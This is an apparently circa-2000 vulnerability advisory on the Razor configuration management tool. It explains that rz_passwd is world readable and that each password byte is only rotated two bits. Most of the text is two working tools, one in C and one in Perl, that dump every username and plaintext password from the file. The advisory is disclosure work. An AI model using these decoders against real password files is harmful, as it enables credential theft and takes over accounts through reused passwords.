|
Vulnerability Razor Affected Those using Razor configuration management tool Description Shawn A. Clifford found following. Razor is a configuration management tool. There is a serious flaw with the Razor password file, rz_passwd. The problem is two-fold: 1) The enciphering method used to scramble the password is extremely weak, using only a simple bit rotation on each byte. This was obvious after studying the rz_passwd file format for less than 30 minutes. 2) The permissions on rz_passwd are world readable (a+r). If we change the permissions to owner-only readable (mode 400) Razor works fine. But, when a 'razor add_user ....', 'razor remove_user ...', or 'razor passwd' command is issued, the permissions are changed back to world readable. We then tried changing the permissions on the parent directory to rwx------ (mode 700), but Razor was then unable to restart the databases. The Razor password file is found in a directory named Razor_License on the machine acting as the license server. The razor password file is composed of 51-byte records of three fields of 17 bytes. The fields are: username, encoded password, and group. The username and group fields are stored in ASCII plaintext with NULL padding, and the encoded password is an 8-byte (maximum) field with NULL padding. The enciphered password is created by rotating each byte in the plaintext password right 2 bits. To decode the password, each byte is just rotated left 2 bits. Obviously this is an extremely weak and dangerous method for securing the passwords. In fact, you can sit down with a pad, pencil, and a hex dump of of the password file and decode entries by hand. But to make matters worse, the password file is world readable. A repurcussion of this might be that an attacker recovers a user's Razor password and then tries the password against other accounts that the user may have. One would guess that many users have the same password everywhere. This is a bad password policy, but nearly impossible to detect or deter. dumprazorpasswd.c: #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <ctype.h> /************************************************************ dumprazorpasswd - dumprazorpasswd - prompts for input hex string to decode dumprazorpasswd <razor_passwd_file> - prints the users and passwords in <file> dumprazorpasswd <passwd> - encrypts <passwd> and prints it in hex 16-jun-2000 pbw. ************************************************************/ #define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' ) #define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) ) & 0x00ff) ) #define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + ( c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) ) struct pwent { char uname[17]; char psswd[17]; char gname[17]; }; dumpfile (int fd) { int status, k; struct pwent pwent; while ( (status = read (fd, &pwent, 51)) > 0 ) { if (status != 51) { printf ("fd = %d\n", fd); printf ("partial read! only read %d bytes\n", status); exit(0); } k = 0; while (pwent.psswd[k] != '\0') { ROT8L(pwent.psswd[k], 10); k++; } printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0])); } } main (int argc, char *argv[]) { int fd,i,k; char passwd[18]; char dpasswd[9]; if (argc < 2) { printf("razor passwd to decrypt :"); fgets(passwd, 17, stdin); passwd[strlen(passwd)-1] = 0; k=0; for (i=0 ; i<9 ; dpasswd[i++]=0); for (i=(strlen(passwd)-1) ; i>=0 ; i--) { if (k & 1) { dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0); } else { dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f; } k++; } for (i=0 ; i<strlen(dpasswd) ; i++) ROT8L(dpasswd[i], 2); printf("%s\n", dpasswd); exit(0); } fd = open (argv[1], O_RDONLY); if (fd < 0) { /* assume arg is a passwd to encrypt */ for ( i=0 ; i<strlen(argv[1]) ; i++) printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) ); printf("\n"); } else { /* dump file */ dumpfile(fd); } exit(0); } passwd_rz.pl: #!/usr/local/bin/perl # # Title: passwd_rz.pl # Author: Shawn A. Clifford # Date: 2000-June-15 # Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords # Usage: passwd_rz.pl [ hex_hash | password_file_name ] # # When run without arguments, this program will prompt for # a plaintext password and produce the ciphertext that Razor # would create for the same string. # Eg.: ./passwd_rz.pl # # Enter a password, max 8 chars: WayLame # Hash (in hex): D5585E13585B59 # # When passed a hex-character string, the program will # generate the corresponding plaintext password. # Eg.: ./passwd_rz.pl D5585E13585B59 # # Decrypting input hex string: D5585E13585B59 # Plaintext password: WayLame # # When passed a filename for a Razor password file (rz_passwd), # the program will dump all of the entries in the password # file. Each entry contains a username, password, and group. # Eg.: ./passwd_rz.pl rz_passwd # # Decrypting Razor password file: rz_passwd # # Username Password Group # -------- -------- ----- # luser123 lamerz please # luser45 cant fix # buckwheat code this # . # . # . # tester1 CCCCCCCC test # tester2 AAAAAA test # # 233 password entries # use strict; # # Defines # my $arg; # Command line argument my $PLEN = 8; # Maximum number of chars in a password my $PGLEN = 22; # Output page length my @hash; # Password hash (err, lame cipher) my $passwd; # Plaintext password my $byte; # A single byte/char my $buffer; # Record from the password file my $i; # Counter/index my $user; # Username from password file my $group; # Group name from password file my $rec_fmt = 'A17 C17 A17'; # rz_passwd record format my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record if ($#ARGV < 0) { # We want to encrypt a password # # Get a password # print "\nEnter a password, max 8 chars: "; $passwd = <STDIN>; chomp $passwd; # # Encrypt the password # print "Hash (in hex): "; for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) { # # For each byte in the password, rotate right 2 bits # $byte = unpack("C", substr($passwd,$i,1)) >> 2; $byte += unpack("C", substr($passwd,$i,1)) << 6; # # Mask off the resultant low byte and save # $hash[$i] = $byte & 0x00ff; printf "%X", $hash[$i]; } print "\n\n"; } else { # We want to decrypt a rz_passwd file or hex string $arg = shift; if ( -f ${arg} ) { # It's a file to process print "\nDecrypting Razor password file: $arg\n"; open(IN, "<${arg}") || die "Can't open passwd file: $!"; $i = 0; while ( read(IN, $buffer, $rec_size) == $rec_size ) { if ($i % $PGLEN == 0) { print "\nUsername Password Group\n"; print "-------- -------- -----\n"; } ($user, @hash, $group) = unpack($rec_fmt, $buffer); $group = substr($buffer, 34, 17); # unpack didn't give me this, why? printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group; $i++; } printf "\n%d password entries\n\n", $i; close(IN); } else { # It had better be a string of hex digits! print "\nDecrypting input hex string: $arg\n"; # # Convert ASCII character string to a binary array # @hash = (); for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) { $byte = hex(substr($arg, $i*2, 2)); $hash[$i] = $byte; } # # Call the decrypt function to print the plaintext password # printf "Plaintext password: %s\n\n", decrypt(@hash); } } sub decrypt { my @hash = @_; # Pick up the passed array my $passwd = (); # Zero the output plaintext scalar my $i; my $byte; # # Decrypt the lamely enciphered password # for ($i=0; $i < $PLEN; $i++) { # # Convert NULLs to spaces # if ($hash[$i] == 0) { $passwd = $passwd . " "; next; } # # For each byte in the hash, rotate left 2 bits # $byte = $hash[$i] << 2; $byte += ($hash[$i] >> 6) & 0x03; # # Mask off the resultant low byte and save # $passwd = $passwd . chr($byte & 0x00ff); } return $passwd; } Solution You may do a 'chmod 700 rz_passwd', but the permissions will change if a 'razor xxx' command is used that touches the password file.